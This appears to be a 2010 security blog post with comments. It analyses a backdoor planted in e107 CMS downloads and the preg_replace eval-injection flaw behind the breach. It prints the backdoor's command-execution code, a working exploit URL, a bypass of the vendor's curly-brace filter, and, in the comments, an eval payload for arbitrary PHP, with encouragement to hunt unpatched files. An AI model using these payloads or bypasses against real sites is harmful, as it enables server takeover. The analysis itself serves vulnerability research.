1: if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {
2: ...
3: if(!empty($_POST['cmd'])){
4: $out = execute($_POST['cmd']);
5: }
6: elseif(!empty($_POST['php'])){
7: ob_start();
8: eval($_POST['php']);
9: $out = ob_get_contents();
10: ob_end_clean();
11: }
As we can see from the above code, this is most definitely not a bug in the software, and indeed a maliciously placed backdoor like Bogdan had initially suggested. The practice of placing malicious code within popular web applications is nothing new, and some may even say that this incident is similar to the Wordpress incident of 2007, where an attacker had successfully managed to taint some Wordpress distributions with malicious code.
One of the interesting things about this case though, versus the Wordpress incident is the fact that this breach seems to have literally happened within a day of e107 patching a serious undisclosed security issue. This leads me to wonder, did the e107 developers attempt to correct errors in thier distribution code before securing thier own servers? The timing of the incident definitely does seem to suggest that is the case, unfortunately.
In regards to the bug itself that allowed for all of the e107 issues, little is known about the technical details of the vulnerability. However, a quick glance at the e107 CVS repository and we can see a few interesting entries.
class2.php 1.390 5 days mcfly_e107 Another small fix - just in case
login.php 1.16 7 days mcfly_e107 Beginning removal of the use of /e with preg_replace
userposts.php 1.32 7 days mcfly_e107 Beginning removal of the use of /e with preg_replace
It seems that this week several files were modified, some of which make mention of "Beginning removal of the use of /e with preg_replace" within thier commit notes, which might lead one to believe that the undisclosed vulnerabilities were due to careless use of eval with preg_replace. After having a look at the changes made within class2.php our suspicions are confirmed.
revision 1.388, Sat Jan 9 20:32:21 2010 UTC
define("e_QUERY", $e_QUERY);
revision 1.390, Fri Jan 22 15:00:22 2010 UTC
define("e_QUERY", str_replace(array('{', '}', '%7B', '%7b', '%7D', '%7d'), '', $e_QUERY));
As we can see from the above code, the changes in class2.php seem to be an application wide attempt to remove the characters { and } from the e_QUERY constant, which are indeed very convienant to use within preg_replace, and eval injection attacks, as they allow code to be parsed dynamically within strings.
Now that we seem to have the cause of the vulnerability figured out, we can now focus on finding an exploitable attack vector, which in this case will be login.php. I chose to use login.php because exploitation is a bit different, and can only be used reliably against servers that do not consider case sensitivity. This was done intentionally since there are still very many vulnerable hosts in the wild at the moment.
1: $text = preg_replace("/\{(.*?)\}/e", 'varset($\1,"\1")', $LOGIN_TABLE);
The above code is part of the code removed from login.php that basically attempts to make use of the $LOGIN_TABLE variable inside of a preg_replace eval call. The $LOGIN_TABLE variable contains a value from the login template used to render the login form etc. to an unauthenticated user. The problem here is that the language files are included from a file, and thus executed as soon as they are included, which parses variables and constants within the file at runtime. So, whenever we see preg_replace with an eval switch used within e107 to parse template values, it is safe to assume that all variables within the template data such as e_SELF and e_QUERY, now hold the contents of the variable itself which makes remote PHP code execution trivial.
1: http://www.example.com/e107/login.pHp/{x,phpinfo()}
Since login.php parsed the contents of $LOGIN_TABLE with the eval switch, and the included template value containted the e_SELF constant, the above request to a vulnerable e107 install would successfully execute the phpinfo function. A couple of things worth mentioning.
[1] My above example will only work on servers that do not consider case sensitivity as e107 partially filters the PHP_SELF variable before placing it into the e_SELF constant.
[2] Complex curly syntax is not used here. The { and } characters are actually just markers in this case used internally by e107, and that is why we append our function to be executed to a string/variable value.
[3] Exploitation is probably not limited to just e_SELF and e_QUERY, as all user controlled variables within template data parsed in the previously mentioned manner are succeptible to attack.
[4] The fix within class2.php works in most cases, but is most definately flawed as we can bypass the filter to send urlencoded curly braces, as str_replace works sequentially with arrays. For example %7%7bB becomes { and %7%7dD becomes } after the filter is applied to the e_QUERY data.
Great research, man. It was a very interesting read for me:) Keep up the good work!
ReplyDeleteI'm thinking there could be some files that are not yet patched (notice the CVS comment: "Beginning removal of the use of /e with preg_replace").
Thanks Jaya, I am glad you enjoyed the article :]
ReplyDeleteThere definitely does seem to be still MANY uses of the preg_replace eval switch within e107. Just a few minutes ago, I downloaded the latest e107 package, and checked out the first five files. Out of those five files, three (banner.php, comment.php, and fpw.php) files contained multiple instances of the eval switch being used.
Code can still be executed if there are any user controlled variables that allow the {} characters, contained within the parsed template values. Happy hunting ;]
Yeah, that preg_replace'ing sure seems to be very very dangerous indeed. Do you think (or know) if this is exploitable on boxes that are case sensitive? Because of the check in class2 ?
ReplyDeleteIt's possible, depending on which template(s) are being used. Case sensitivity only matters if you use "e_SELF" as an attack vector; furthermore the "fix" only affects "e_QUERY" as an attack vector, and is partially flawed (as previously mentioned).
ReplyDeleteIf a variable that contains template content hold's a variable/constant/function value that is user controlled, then it will be parsed at runtime when the file is included, allowing the attacker to take advantage of the preg_replace issue since by the time the variable reaches the preg_replace call it is no longer a pointer to a variable, and instead treated as literal content, which an attacker has complete control of.
hmm.. I'm looking for the code but I'm not seeing it. I see constants (including e_SELF and e_QUERY) being called but these are the only two (constants) that have any user input in them. The others are just defining the directory paths.
ReplyDeleteWhat am I missing here?
Or should I be looking at the shortcodes?
ReplyDelete@John, stop asking stupid questions!
ReplyDeleteI'm wondering what vector would be used. exec(), system() and passthru() all need the usage of " or ' to make any sense, and these get encoded and are rendered useless.
Any ideas on that?
Since the code is being evaluated we can use chr() code, or even a GPC variable such as $_POST[x] in order to execute a payload.
ReplyDeletei.e.
{x,eval($_POST[y])}
Hope this helps.